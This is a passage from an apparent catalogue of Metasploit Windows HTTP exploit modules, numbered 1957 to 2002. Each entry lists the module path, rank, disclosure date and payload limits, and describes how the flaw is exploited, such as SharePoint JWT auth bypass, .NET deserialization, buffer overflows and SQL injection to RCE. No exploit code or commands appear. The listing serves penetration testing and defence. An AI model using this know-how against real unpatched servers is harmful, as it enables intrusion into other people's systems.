  has been found to be Windows specific. This module has been tested
successfully
  on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).

End Exploit Number 1957

Begin Exploit Number 1958
       Name: Oracle Event Processing FileUploadServlet Arbitrary File
Upload
     Module: exploit/windows/http/oracle_event_processing_upload
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-04-21

Payload information:
  Space: 2048

Description:
  This module exploits an arbitrary file upload vulnerability in
Oracle Event Processing
  11.1.1.7.0. The FileUploadServlet component, which requires no
authentication, can be
  abused to upload a malicious file onto an arbitrary location due to
a directory traversal
  flaw, and compromise the server. By default Oracle Event Processing
uses a Jetty
  Application Server without JSP support, which limits the attack to
WbemExec. The current
  WbemExec technique only requires arbitrary write to the file system,
but at the moment the
  module only supports Windows 2003 SP2 or older.

End Exploit Number 1958

Begin Exploit Number 1959
       Name: Oracle Secure Backup Authentication Bypass/Command
Injection Vulnerability
     Module: exploit/windows/http/osb_uname_jlist
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-07-13

Payload information:

Description:
  This module exploits an authentication bypass vulnerability
  in login.php. In conjunction with the authentication bypass issue,
  the 'jlist' parameter in property_box.php can be used to execute
  arbitrary system commands.
  This module was tested against Oracle Secure Backup version
10.3.0.1.0

End Exploit Number 1959

Begin Exploit Number 1960
       Name: PeerCast URL Handling Buffer Overflow
     Module: exploit/windows/http/peercast_url
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-03-08

Payload information:
  Space: 400
  Avoid: 8 characters

Description:
  This module exploits a stack buffer overflow in PeerCast <= v0.1216.
  The vulnerability is caused due to a boundary error within the
  handling of URL parameters.

End Exploit Number 1960

Begin Exploit Number 1961
       Name: PHP apache_request_headers Function Buffer Overflow
     Module: exploit/windows/http/php_apache_request_headers_bof
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-05-08

Payload information:
  Space: 1321
  Avoid: 57 characters

Description:
  This module exploits a stack based buffer overflow in the CGI
version of PHP
  5.4.x before 5.4.3. The vulnerability is due to the insecure
handling of the
  HTTP headers.

    This module has been tested against the thread safe version of PHP
5.4.2,
  from "windows.php.net", running with Apache 2.2.22 from
"apachelounge.com".

End Exploit Number 1961

Begin Exploit Number 1962
       Name: PHP CGI Argument Injection Remote Code Execution
     Module: exploit/windows/http/
php_cgi_arg_injection_rce_cve_2024_4577
   Platform: PHP, Windows
       Arch: php, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-06-06

Payload information:
```

```
Description:
  This module exploits a PHP CGI argument injection vulnerability
affecting PHP in certain configurations
  on a Windows target. A vulnerable configuration is locale dependant
(such as Chinese or Japanese), such that
  the Unicode best-fit conversion scheme will unexpectedly convert a
soft hyphen (0xAD) into a dash (0x2D)
  character. Additionally a target web server must be configured to
run PHP under CGI mode, or directly expose
  the PHP binary. This issue has been fixed in PHP 8.3.8 (for the
8.3.x branch), 8.2.20 (for the 8.2.x branch),
  and 8.1.29 (for the 8.1.x branch). PHP 8.0.x and below are end of
life and have note received patches.

  XAMPP is vulnerable in a default configuration, and we can target
the /php-cgi/php-cgi.exe endpoint. To target
  an explicit .php endpoint (e.g. /index.php), the server must be
configured to run PHP scripts in CGI mode.

End Exploit Number 1962

Begin Exploit Number 1963
       Name: Plesk/myLittleAdmin ViewState .NET Deserialization
     Module: exploit/windows/http/plesk_mylittleadmin_viewstate
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-05-15

Payload information:

Description:
  This module exploits a ViewState .NET deserialization vulnerability
in
  web-based MS SQL Server management tool myLittleAdmin, for version
3.8
  and likely older versions, due to hardcoded <machineKey> parameters
in
  the web.config file for ASP.NET.

  Popular web hosting control panel Plesk offers myLittleAdmin as an
  optional component that is selected automatically during "full"
  installation. This exploit caters to the Plesk target, though it
  should work fine against a standalone myLittleAdmin setup.

  Successful exploitation results in code execution as the user
running
```

```
  myLittleAdmin, which is IUSRPLESK_sqladmin for Plesk and described
as
  the "SQL Admin MSSQL anonymous account."

  Tested on the latest Plesk Obsidian with optional myLittleAdmin 3.8.

End Exploit Number 1963

Begin Exploit Number 1964
       Name: Plex Unpickle Dict Windows RCE
     Module: exploit/windows/http/plex_unpickle_dict_rce
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-05-07

Payload information:

Description:
  This module exploits an authenticated Python unsafe pickle.load of a
Dict file.  An authenticated attacker
  can create a photo library and add arbitrary files to it.  After
setting the Windows only Plex variable
  LocalAppDataPath to the newly created photo library, a file named
Dict will be unpickled, which causes
  an RCE as the user who started Plex.
  Plex_Token is required, to get it you need to log-in through a web
browser, then check the requests to grab
  the X-Plex-Token header.  See info -d for additional details.
  If an exploit fails, or is cancelled, Dict is left on disk, a new
ALBUM_NAME will be required
  as subsuquent writes will make Dict-1, and not execute.

End Exploit Number 1964

Begin Exploit Number 1965
       Name: Private Wire Gateway Buffer Overflow
     Module: exploit/windows/http/privatewire_gateway
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-06-26

Payload information:
  Space: 8000
  Avoid: 14 characters
```

```
Description:
  This exploits a buffer overflow in the ADMCREG.EXE used
  in the PrivateWire Online Registration Facility.

End Exploit Number 1965

Begin Exploit Number 1966
       Name: PRTG Network Monitor Authenticated RCE
     Module: exploit/windows/http/prtg_authenticated_rce
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-06-25

Payload information:

Description:
  Notifications can be created by an authenticated user and can
execute scripts when triggered.
  Due to a poorly validated input on the script name, it is possible
to chain it with a user-supplied command allowing command execution
under the context of privileged user.
  The module uses provided credentials to log in to the web interface,
then creates and triggers a malicious notification to perform RCE
using a Powershell payload.
  It may require a few tries to get a shell because notifications are
queued up on the server.
  This vulnerability affects versions prior to 18.2.39. See references
for more details about the vulnerability allowing RCE.

End Exploit Number 1966

Begin Exploit Number 1967
       Name: PRTG CVE-2023-32781 Authenticated RCE
     Module: exploit/windows/http/
prtg_authenticated_rce_cve_2023_32781
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-08-09

Payload information:

Description:
  Authenticated RCE in Paessler PRTG
```

```
End Exploit Number 1967

Begin Exploit Number 1968
       Name: PSO Proxy v0.91 Stack Buffer Overflow
     Module: exploit/windows/http/psoproxy91_overflow
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-02-20

Payload information:
  Space: 370
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in the PSO Proxy v0.91 web 
server.
  If a client sends an excessively long string the stack is 
overwritten.

End Exploit Number 1968

Begin Exploit Number 1969
       Name: RabidHamster R4 Log Entry sprintf() Buffer Overflow
     Module: exploit/windows/http/rabidhamster_r4_log
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-02-09

Payload information:
  Avoid: 14 characters

Description:
  This module exploits a vulnerability found in RabidHamster R4's web 
server.
  By supplying a malformed HTTP request, it is possible to trigger a 
stack-based
  buffer overflow when generating a log, which may result in arbitrary 
code
  execution under the context of the user.

End Exploit Number 1969

Begin Exploit Number 1970
```

```
       Name: Rejetto HttpFileServer Remote Command Execution
     Module: exploit/windows/http/rejetto_hfs_exec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-09-11

Payload information:
  Avoid: 3 characters

Description:
  Rejetto HttpFileServer (HFS) is vulnerable to remote command 
execution attack due to a
  poor regex in the file ParserLib.pas. This module exploits the HFS 
scripting commands by
  using '%00' to bypass the filtering. This module has been tested 
successfully on HFS 2.3b
  over Windows XP SP3, Windows 7 SP1 and Windows 8.

End Exploit Number 1970

Begin Exploit Number 1971
       Name: Rejetto HTTP File Server (HFS) Unauthenticated Remote 
Code Execution
     Module: exploit/windows/http/rejetto_hfs_rce_cve_2024_23692
   Platform: Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-05-25

Payload information:
  Avoid: 1 characters

Description:
  The Rejetto HTTP File Server (HFS) version 2.x is vulnerable to an 
unauthenticated server side template
  injection (SSTI) vulnerability. A remote unauthenticated attacker 
can execute code with the privileges
  of the user account running the HFS.exe server process. This exploit 
has been tested to work against version
  2.4.0 RC7 and 2.3m. The Rejetto HTTP File Server (HFS) version 2.x 
is no longer supported by the maintainers
  and no patch is available. Users are recommended to upgrade to newer 
supported versions.

End Exploit Number 1971
```

```
Begin Exploit Number 1972
       Name: Sambar 6 Search Results Buffer Overflow
     Module: exploit/windows/http/sambar6_search_results
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2003-06-21

Payload information:
  Space: 2000
  Avoid: 13 characters

Description:
  This module exploits a buffer overflow found in the
  /search/results.stm application that comes with Sambar 6.
  This code is a direct port of Andrew Griffiths's SMUDGE
  exploit, the only changes made were to the nops and payload.
  This exploit causes the service to die, whether you provided
  the correct target or not.

End Exploit Number 1972

Begin Exploit Number 1973
       Name: SAP ConfigServlet Remote Code Execution
     Module: exploit/windows/http/sap_configservlet_exec_noauth
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2012-11-01

Payload information:

Description:
  This module allows remote code execution via operating system
commands through the
  SAP ConfigServlet without any authentication. This module has been
tested successfully
  with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2.

End Exploit Number 1973

Begin Exploit Number 1974
       Name: SAP NetWeaver HostControl Command Injection
     Module: exploit/windows/http/sap_host_control_cmd_exec
   Platform: Windows
```

```
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2012-08-14

Payload information:

Description:
  This module exploits a command injection vulnerability in the 
SAPHostControl
  Service, by sending a specially crafted SOAP request to the 
management console.

  In order to deal with the spaces and length limitations, a WebDAV 
service is
  created to run an arbitrary payload when accessed as a UNC path. 
Because of this,
  the target host must have the WebClient service (WebDAV Mini-
Redirector) enabled.
  It is enabled and automatically started by default on Windows XP 
SP3, but disabled
  by default on Windows 2003 SP2.

End Exploit Number 1974

Begin Exploit Number 1975
       Name: SAP DB 7.4 WebTools Buffer Overflow
     Module: exploit/windows/http/sapdb_webtools
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2007-07-05

Payload information:
  Space: 850
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.
  By sending an overly long GET request, it may be possible for
  an attacker to execute arbitrary code.

End Exploit Number 1975

Begin Exploit Number 1976
       Name: Savant 3.1 Web Server Overflow
     Module: exploit/windows/http/savant_31_overflow
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2002-09-10

Payload information:
  Space: 253
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in Savant 3.1 Web
Server. The service
  supports a maximum of 10 threads (for a default install). Each
exploit attempt
  generally causes a thread to die whether successful or not.
Therefore, in a default
  configuration, you only have 10 chances.

  Due to the limited space available for the payload in this exploit
module, use of the
  "ord" payloads is recommended.

End Exploit Number 1976

Begin Exploit Number 1977
       Name: Symantec Endpoint Protection Manager Authentication
Bypass and Code Execution
     Module: exploit/windows/http/sepm_auth_bypass_rce
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-07-31

Payload information:

Description:
  This module exploits three separate vulnerabilities in Symantec
Endpoint Protection Manager
  in order to achieve a remote shell on the box as NT
AUTHORITY\SYSTEM. The vulnerabilities
  include an authentication bypass, a directory traversal and a
privilege escalation to
  get privileged code execution.

End Exploit Number 1977
```

```
Begin Exploit Number 1978
       Name: Serviio Media Server checkStreamUrl Command Execution
     Module: exploit/windows/http/serviio_checkstreamurl_cmd_exec
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-03

Payload information:

Description:
  This module exploits an unauthenticated remote command execution 
vulnerability
  in the console component of Serviio Media Server versions 1.4 to 1.8 
on
  Windows operating systems.

  The console service (on port 23423 by default) exposes a REST API 
which
  which does not require authentication.

  The 'action' API endpoint does not sufficiently sanitize user-
supplied data
  in the 'VIDEO' parameter of the 'checkStreamUrl' method. This 
parameter is
  used in a call to cmd.exe resulting in execution of arbitrary 
commands.

  This module has been tested successfully on Serviio Media Server 
versions
  1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.

End Exploit Number 1978

Begin Exploit Number 1979
       Name: Rhinosoft Serv-U Session Cookie Buffer Overflow
     Module: exploit/windows/http/servu_session_cookie
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-11-01

Payload information:
  Avoid: 28 characters

Description:
  This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5.
  Sending a specially crafted POST request with an overly long session
cookie
  string, an attacker may be able to execute arbitrary code.

End Exploit Number 1979

Begin Exploit Number 1980
       Name: SharePoint DataSet / DataTable Deserialization
     Module: exploit/windows/http/sharepoint_data_deserialization
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-07-14

Payload information:

Description:
  A remotely exploitable vulnerability exists within SharePoint that
can be leveraged by a remote authenticated
  attacker to execute code within the context of the SharePoint
application service. The privileges in this
  execution context are determined by the account that is specified
when SharePoint is installed and configured.
  The vulnerability is related to a failure to validate the source of
XML input data, leading to an unsafe
  deserialization operation that can be triggered from a page that
initializes either the
  ContactLinksSuggestionsMicroView type or a derivative of it. In a
default configuration, a Domain User account
  is sufficient to access SharePoint and exploit this vulnerability.

End Exploit Number 1980

Begin Exploit Number 1981
       Name: Sharepoint Dynamic Proxy Generator Unauth RCE
     Module: exploit/windows/http/
sharepoint_dynamic_proxy_generator_auth_bypass_rce
   Platform: Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-05-01

Payload information:

Description:
  This module exploits two vulnerabilities in Sharepoint 2019, an auth
bypass CVE-2023-29357 which was patched
  in June of 2023 and CVE-2023-24955, an RCE which was patched in May
of 2023.

  The auth bypass allows attackers to impersonate the Sharepoint Admin
user. This vulnerability stems from the
  signature validation check used to verify JSON Web Tokens (JWTs)
used for OAuth authentication. If the signing
  algorithm of the user-provided JWT is set to none, SharePoint skips
the signature validation step due to a logic
  flaw in the ReadTokenCore() method.

  After impersonating the administrator user, the attacker has access
to the Sharepoint API and is able to
  exploit CVE-2023-24955. This authenticated RCE vulnerability
leverages the impersonated privileged account to
  replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in
the webroot directory with a payload. The
  payload is then compiled and executed by Sharepoint allowing
attackers to remotely execute commands via the API.

End Exploit Number 1981

Begin Exploit Number 1982
       Name: Microsoft SharePoint Server-Side Include and ViewState
RCE
     Module: exploit/windows/http/sharepoint_ssi_viewstate
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-13

Payload information:

Description:
  This module exploits a server-side include (SSI) in SharePoint to
leak
  the web.config file and forge a malicious ViewState with the
extracted
  validation key.

  This exploit is authenticated and requires a user with page creation
  privileges, which is a standard permission in SharePoint.

  The web.config file will be stored in loot once retrieved, and the
  VALIDATION_KEY option can be set to short-circuit the SSI and
trigger
```

```
  the ViewState deserialization.

  Tested against SharePoint 2019 on Windows Server 2016.

End Exploit Number 1982

Begin Exploit Number 1983
       Name: Microsoft SharePoint Unsafe Control and ViewState RCE
     Module: exploit/windows/http/sharepoint_unsafe_control
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-05-11

Payload information:

Description:
  The EditingPageParser.VerifyControlOnSafeList method fails to 
properly validate user supplied data. This
  can be leveraged by an attacker to leak sensitive information in 
rendered-preview content. This module will
  leak the ViewState validation key and then use it to sign a crafted 
object that will trigger code execution
  when deserialized.

  Tested against SharePoint 2019 and SharePoint 2016, both on Windows 
Server 2016.

End Exploit Number 1983

Begin Exploit Number 1984
       Name: SharePoint Workflows XOML Injection
     Module: exploit/windows/http/sharepoint_workflows_xoml
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-03-02

Payload information:

Description:
  This module exploits a vulnerability within SharePoint and its .NET 
backend
  that allows an attacker to execute commands using specially crafted 
XOML data
  sent to SharePoint via the Workflows functionality.
```

```
End Exploit Number 1984

Begin Exploit Number 1985
       Name: SHOUTcast DNAS/win32 1.9.4 File Request Format String
Overflow
     Module: exploit/windows/http/shoutcast_format
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2004-12-23

Payload information:
  Space: 250
  Avoid: 13 characters

Description:
  This module exploits a format string vulnerability in the
  Nullsoft SHOUTcast server for Windows. The vulnerability is
  triggered by requesting a file path that contains format
  string specifiers. This vulnerability was discovered by
  Tomasz Trojanowski and Damian Put.

End Exploit Number 1985

Begin Exploit Number 1986
       Name: SHTTPD URI-Encoded POST Request Overflow
     Module: exploit/windows/http/shttpd_post
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-10-06

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in SHTTPD <= 1.34.
  The vulnerability is caused due to a boundary error within the
  handling of POST requests. Based on an original exploit by sk0d
  but using a different method found by hdm.

End Exploit Number 1986

Begin Exploit Number 1987
       Name: Sitecore Experience Platform (XP) PreAuth Deserialization
```

```
RCE
     Module: exploit/windows/http/sitecore_xp_cve_2021_42237
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-11-02

Payload information:

Description:
  This module exploits a deserialization vulnerability in the
Report.ashx page
  of Sitecore XP 7.5 to 7.5.2, 8.0 to 8.0.7, 8.1 to 8.1.3, and 8.2 to
8.2.7.
  Versions 7.2.6 and earlier and 9.0 and later are not affected.

  The vulnerability occurs due to Report.ashx's handler, located in
Sitecore.Xdb.Client.dll
  under the Sitecore.sitecore.shell.ClientBin.Reporting.Report
defintion, having a ProcessRequest()
  handler that calls ProcessReport() with the context of the
attacker's request without properly
  checking if the attacker is authenticated or not.

  This request then causes ReportDataSerializer.DeserializeQuery() to
be called, which will
  end up calling the DeserializeParameters() function of
  Sitecore.Analytics.Reporting.ReportDataSerializer, if a "parameters"
XML tag is found in
  the attacker's request.

  Then for each subelement named "parameter", the code will check that
it has a name and
  if it does, it will call NetDataContractSerializer().ReadObject on
it. NetDataContractSerializer is
  vulnerable to deserialization attacks and can be trivially exploited
by using the
  TypeConfuseDelegate gadget chain.

  By exploiting this vulnerability, an attacker can gain arbitrary
code execution as the user
  that IIS is running as, aka NT AUTHORITY\NETWORK SERVICE. Users can
then use technique 4
  of the "getsystem" command to use RPCSS impersonation and get SYSTEM
level code execution.

End Exploit Number 1987
```

```
Begin Exploit Number 1988
       Name: SmarterTools SmarterMail less than build 6985 - .NET
Deserialization Remote Code Execution
     Module: exploit/windows/http/smartermail_rce
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-04-17

Payload information:

Description:
  This module exploits a vulnerability in the SmarterTools SmarterMail
  software for version numbers <= 16.x or for build numbers < 6985.
  The vulnerable versions and builds expose three .NET remoting
endpoints
  on port 17001, namely /Servers, /Mail and /Spool. For example, a
  typical installation of SmarterMail Build 6970 will have the /
Servers
  endpoint exposed to the public at tcp://0.0.0.0:17001/Servers, where
  serialized .NET commands can be sent through a TCP socket
connection.

  The three endpoints perform deserialization of untrusted data
  (CVE-2019-7214), allowing an attacker to send arbitrary commands
  to be deserialized and executed. This module exploits this
vulnerability
  to perform .NET deserialization attacks, allowing remote code
execution
  for any unauthenticated user under the context of the SYSTEM
account.
  Successful exploitation results in full administrative control of
the
  target server under the NT AUTHORITY\SYSTEM account.

  This vulnerability was patched in Build 6985, where the 17001 port
is
  no longer publicly accessible, although it can be accessible locally
  at 127.0.0.1:17001. Hence, this would still allow for a privilege
  escalation vector if the server is compromised as a low-privileged
user.

End Exploit Number 1988

Begin Exploit Number 1989
       Name: Solarwinds Firewall Security Manager 6.6.5 Client Session
Handling Vulnerability
     Module: exploit/windows/http/solarwinds_fsm_userlogin
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-03-13

Payload information:

Description:
  This module exploits multiple vulnerabilities found in Solarwinds 
Firewall Security Manager
  6.6.5. The first vulnerability is an authentication bypass via the 
Change Advisor interface
  due to a user-controlled session.putValue API in userlogin.jsp, 
allowing the attacker to set
  the 'username' attribute before authentication. The second problem 
is that the settings-new.jsp
  file will only check the 'username' attribute before authorizing the 
'uploadFile' action,
  which can be exploited and allows the attacker to upload a fake xls 
host list file to the
  server, and results in arbitrary code execution under the context of 
SYSTEM.

  Depending on the installation, by default the Change Advisor web 
server is listening on port
  48080 for an express install. Otherwise, this service may appear on 
port 8080.

  Solarwinds has released a fix for this vulnerability as FSM-v6.6.5-
HotFix1.zip, noted in the
  references for this module.

End Exploit Number 1989

Begin Exploit Number 1990
       Name: Solarwinds Storage Manager 5.1.0 SQL Injection
     Module: exploit/windows/http/solarwinds_storage_manager_sql
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-12-07

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a SQL injection found in Solarwinds Storage
Manager
  login interface.  It will send a malicious SQL query to create a JSP
file
  under the web root directory, and then let it download and execute
our malicious
  executable under the context of SYSTEM.

End Exploit Number 1990

Begin Exploit Number 1991
       Name: Dell SonicWALL (Plixer) Scrutinizer 9 SQL Injection
     Module: exploit/windows/http/sonicwall_scrutinizer_sqli
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-07-22

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Dell SonicWall
Scrutinizer.
  While handling the 'q' parameter, the PHP application does not
properly filter
  the user-supplied data, which can be manipulated to inject SQL
commands, and
  then gain remote code execution.  Please note that authentication is
NOT needed
  to exploit this vulnerability.

End Exploit Number 1991

Begin Exploit Number 1992
       Name: SQL Server Reporting Services (SSRS) ViewState
Deserialization
     Module: exploit/windows/http/ssrs_navcorrector_viewstate
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-11

Payload information:

Description:
  A vulnerability exists within Microsoft's SQL Server Reporting
Services
  which can allow an attacker to craft an HTTP POST request with a
  serialized object to achieve remote code execution. The
vulnerability is
  due to the fact that the serialized blob is not signed by the
server.

End Exploit Number 1992

Begin Exploit Number 1993
       Name: Streamcast HTTP User-Agent Buffer Overflow
     Module: exploit/windows/http/steamcast_useragent
   Platform: Windows
       Arch: 
 Privileged: No
    License: BSD License
       Rank: Average
  Disclosed: 2008-01-24

Payload information:
  Space: 750
  Avoid: 13 characters

Description:
  This module exploits a stack buffer overflow in Streamcast <=
0.9.75. By sending
  an overly long User-Agent in an HTTP GET request, an attacker may be
able to
  execute arbitrary code.

End Exploit Number 1993

Begin Exploit Number 1994
       Name: Simple Web Server Connection Header Buffer Overflow
     Module: exploit/windows/http/sws_connection_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-07-20

Payload information:
  Space: 2048
  Avoid: 3 characters

Description:
  This module exploits a vulnerability in Simple Web Server 2.2 rc2. A
remote user
```

```
  can send a long string data in the Connection Header to causes an
overflow on the
  stack when function vsprintf() is used, and gain arbitrary code
execution. The
  module has been tested successfully on Windows 7 SP1 and Windows XP
SP3.

End Exploit Number 1994

Begin Exploit Number 1995
       Name: Sybase EAServer 5.2 Remote Stack Buffer Overflow
     Module: exploit/windows/http/sybase_easerver
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-07-25

Payload information:
  Space: 1000
  Avoid: 27 characters

Description:
  This module exploits a stack buffer overflow in the Sybase EAServer
Web
  Console. The offset to the SEH frame appears to change depending
  on what version of Java is in use by the remote server, making this
  exploit somewhat unreliable.

End Exploit Number 1995

Begin Exploit Number 1996
       Name: Sync Breeze Enterprise GET Buffer Overflow
     Module: exploit/windows/http/syncbreeze_bof
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2017-03-15

Payload information:
  Space: 500
  Avoid: 6 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability
  in the web interface of Sync Breeze Enterprise v9.4.28, v10.0.28,
  and v10.1.16, caused by improper bounds checking of the request in
  HTTP GET and POST requests sent to the built-in web server. This
  module has been tested successfully on Windows 7 SP1 x86.

End Exploit Number 1996

Begin Exploit Number 1997
       Name: Sysax Multi Server 5.64 Create Folder Buffer Overflow
     Module: exploit/windows/http/sysax_create_folder
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-07-29

Payload information:
  Space: 1299
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in the create folder 
function in
  Sysax Multi Server 5.64. This issue was fixed in 5.66. In order to 
trigger the
  vulnerability valid credentials with the create folder permission 
must be provided.
  The HTTP option must be enabled on Sysax too.

  This module will log into the server, get a SID token, find the root 
folder, and
  then proceed to exploit the server. Successful exploits result in 
SYSTEM access.
  This exploit works on XP SP3, and Server 2003 SP1-SP2.

End Exploit Number 1997

Begin Exploit Number 1998
       Name: Telerik UI ASP.NET AJAX RadAsyncUpload Deserialization
     Module: exploit/windows/http/telerik_rau_deserialization
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-12-09

Payload information:
  Space: 2048

Description:
  This module exploits the .NET deserialization vulnerability within
the RadAsyncUpload (RAU) component of Telerik
  UI ASP.NET AJAX that is identified as CVE-2019-18935. In order to do
so the module must upload a mixed mode .NET
  assembly DLL which is then loaded through the deserialization flaw.
Uploading the file requires knowledge of the
  cryptographic keys used by RAU. The default values used by this
module are related to CVE-2017-11317, which once
  patched randomizes these keys. It is also necessary to know the
version of Telerik UI ASP.NET that is running.
  This version number is in the format YYYY.#(.###)? where YYYY is the
year of the release (e.g. '2020.3.915').

End Exploit Number 1998

Begin Exploit Number 1999
       Name: Telerik Report Server Auth Bypass and Deserialization RCE
     Module: exploit/windows/http/
telerik_report_server_deserialization
   Platform: Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-06-04

Payload information:

Description:
  This module chains an authentication bypass vulnerability
(CVE-2024-4358) with a deserialization vulnerability
  (CVE-2024-1800) to obtain remote code execution against Telerik
Report Server version 10.0.24.130 and prior.
  The authentication bypass flaw allows an unauthenticated user to
create a new user with administrative privileges.
  The USERNAME datastore option can be used to authenticate with an
existing account to prevent the creation of a
  new one. The deserialization flaw works by uploading a specially
crafted report that when loaded will execute an
  OS command as NT AUTHORITY\SYSTEM. The module will automatically
delete the created report but not the account
  because users are unable to delete themselves.

End Exploit Number 1999

Begin Exploit Number 2000
       Name: Apache Tomcat CGIServlet enableCmdLineArguments
Vulnerability
     Module: exploit/windows/http/tomcat_cgi_cmdlineargs
   Platform: Windows
```

```
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-04-10

Payload information:

Description:
  This module exploits a vulnerability in Apache Tomcat's CGIServlet
component. When the
  enableCmdLineArguments setting is set to true, a remote user can
abuse this to execute
  system commands, and gain remote code execution.

End Exploit Number 2000

Begin Exploit Number 2001
       Name: TrackerCam PHP Argument Buffer Overflow
     Module: exploit/windows/http/trackercam_phparg_overflow
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-02-18

Payload information:
  Space: 2048
  Avoid: 13 characters

Description:
  This module exploits a simple stack buffer overflow in the
  TrackerCam web server. All current versions of this software
  are vulnerable to a large number of security issues. This
  module abuses the directory traversal flaw to gain
  information about the system and then uses the PHP overflow
  to execute arbitrary code.

End Exploit Number 2001

Begin Exploit Number 2002
       Name: Numara / BMC Track-It! FileStorageService Arbitrary File
Upload
     Module: exploit/windows/http/trackit_file_upload
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-10-07

Payload information:

Description:
  This module exploits an arbitrary file upload vulnerability in
